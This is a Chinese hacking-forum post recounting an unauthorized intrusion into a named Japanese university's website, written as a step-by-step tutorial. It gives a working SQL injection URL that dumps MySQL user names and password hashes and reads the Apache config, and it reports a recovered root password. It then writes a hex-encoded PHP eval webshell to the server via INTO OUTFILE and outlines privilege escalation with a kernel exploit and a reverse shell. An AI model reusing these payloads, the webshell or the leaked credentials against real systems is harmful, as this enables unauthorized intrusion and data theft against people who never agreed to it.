找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2731|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析
7 D! O3 G$ K9 Y
/ l$ }% G$ O# ~2 r+ k# Dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
( b$ {/ }* \: K9 y: _然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
8 V6 ]& @" O7 H( G7 z( j0 n
$ G8 r4 |6 R0 o1 u; I4 e7 dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
' [: H5 i" V3 \+ o3 N& ^) W  n
# c$ ^4 t! `6 O) t  Y - H% B6 U: G; m& I! u
* @. d: [% J5 c% `
//@@datadir为数据库文件路径 5 Z  R* [  P- C% Y: z

' L) [8 ?# l7 ?& \9 |' k; M; }
  C9 C: j1 ]! l* y//load_file读取网站容器apache的配置文件
, q# L! q. @0 K& y  H! L* r
; W! T7 t2 J+ N( k8 U! p$ _6 Z+ A. f# I) q- N! Z# C; F- ]6 R) w
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
! E+ H4 B$ ^" P+ }复制代码- ~2 r7 K, d% V( Z* ^) Z* w) m6 k( j$ r
  z  B( j- Z4 Q% p; j0 C1 \
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。, _: N0 E) c1 g+ ]1 f8 X( Q

/ u8 [3 D/ ^! K1 G而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
0 C, g; j; f7 p' c% V0 l# y(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)2 F  N  G/ L5 V4 y1 ~: C
' ~3 N  K9 m/ w9 o
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
" F( X+ f6 o6 f3 d7 W4 X( \如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html9 @9 k; a2 M$ _4 J* s' E, [

6 L" y* Z4 ]' \8 K. t" s1 u* O既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/1 c! _& E3 R! ]. g  w4 u  n" s3 y
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
! d" W5 U: g: d2 [直接写一句话:/ a7 `) M0 C! E! V
6 Z* n: D5 f  U+ u' J( X' p
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#& [  `1 |# i+ g' `& a) L
  u) O+ ^, M6 T1 m
: D8 Q. c8 s6 D8 X5 Z1 h& I
0 J) C! Z+ A2 _
//最后的#是为了闭合前面的语句 ! U- Q: e, p- h, H" W

7 j# y$ |) B% F+ Z9 _! A: V4 i9 w9 L9 L, a6 J$ e; A8 \
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
% j, W8 T- m$ T* E7 {# C8 [% o) c
. Z) A3 L( q& y, c7 b% S+ j: s% y5 y" q
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
5 {, A+ U5 |9 f  @$ E, m
# H+ c7 ?  h9 J" A) ^1 ]# O0 M& i# c4 O1 I: M
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
: S3 ]2 v# G( L; f# W
0 d0 i  F0 a8 r* @* w, w' e4 K( D# D- o
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
% }7 y; s3 [9 b" F! L2 C  x4 y//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
0 a% b0 P, X) g" u复制代码0 [) I1 ?3 u& r4 {

1 E3 K  I  L' }4 x; sHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
8 V9 E3 w2 ]2 m通过上述注入语句,我们就得到了一句话木马:
$ L( V( Q! p' k$ A' Z$ i+ i3 S/ k9 }( s% v

, _2 k, V2 u9 }% u: G* e
3 v7 I6 f! _/ y/ [$ ]/ c% I
0 o" }6 d0 o- F/ O: a4 U- Q
3 L- S5 i& O% ~' x1 _  T. Z. uhttp://www.doshisha.ac.jp/english/engnews_img/aa.php 3 e8 m0 _2 R8 ?2 {( B3 N4 w3 \3 v
复制代码
) |; ]. Z5 q' ^: E% M* D( l( u- b& R4 Q1 }9 c" q
用菜刀连接,密码是cmd,如图所示:6 u9 Z3 P, |. m/ d
然后在命令提示行里看了一下,现在的权限是:4 \8 M& ^( E2 J( v0 }# r. ~

7 p; s: N9 |& Z! |# P7 a) v& e之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
, V4 I/ E  \6 {* h& k& w; n  {1 W好在赋权给这个文件夹不需要root,直接执行赋权语句:
5 T1 G0 ?6 z0 L$ D# M- }9 E" Y8 G. q6 c! F* z. a2 u7 B

- R/ ~* y4 ^* {$ _6 q& A4 V- \, `' D( w; s' J0 N

8 Y. D3 D) \) O* T" {8 o  y( M3 n3 r5 v' `6 Z) `
chmod +x /tmp/
3 d. k, }# |; x9 B! I( J7 W; b复制代码
: z9 c* s6 f2 h  k% b  U
# ]2 e1 _1 w1 h+ Q- n在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行0 b. I1 X$ V) r# P, D( j* u. [- m7 t
然后就查了一下内核版本:
- r8 f' V; j6 _0 @" a& w  M# w. d
9 V+ J  w5 q- ~4 C/ Y" w : V! w0 b/ K+ Y) N) e: O4 D

1 I% _+ U1 ?! H  j: @0 F
$ U$ [: ]8 J" a/ A" N: w
; Q, x. X( [; e: X% |2 ?uname-a 6 D% Z0 W- [; @6 q. p3 U

+ X7 i4 B, t1 y% [4 d0 \5 Q. E' {. a4 C9 x5 G+ z3 H- ]
//其实lsb_release -a
+ B" z4 u% D2 _' Q% z; s6 X. _复制代码
8 Y% g; s3 `' L! j. P' {) z
6 y0 @+ w, V0 P, x9 }# b如图所示:7 g* E2 K0 I. K/ e+ l; Y  N

0 X% ]+ h( f& d1 `  S3 K内核版本:linux mainz1 2.6.28-194.e15
8 W. N0 l3 x' M1 z4 t1 E0 S8 L6 p系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
  y: r( I3 n  Q0 e" z( W4 E* e9 ~. o/ s7 `查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹+ N. P5 e1 [$ e
. A! @4 N) @3 h" f( F
然后给予执行权限1 K4 E2 p" j) h. G/ K, Y9 d' y$ q
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
- ]' F2 \* ]5 r% ~/ m8 z  w6 S% k0 F" L+ q( ~
0 J+ p- k0 {( @  A
3 e. \2 h9 P5 e( [- q1 e
8 Q! U# P0 k) z7 c

$ b9 s9 I4 y7 achmod +x /tmp/2.6.18-194
, f6 ]- _# c6 V# ]# R& r+ R复制代码 然后直接执行!~
# o+ l# \& _8 f% C# g9 _6 p% g& H; H* \: [. L6 G, P" `0 Z, ~
总结:, f% M+ G1 W' e4 m1 B
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
  D! T/ W2 p2 d: E提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
, A" Y2 N2 [* {+ A
: x# A% }$ S) L/ X! ?2 X2 \. c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表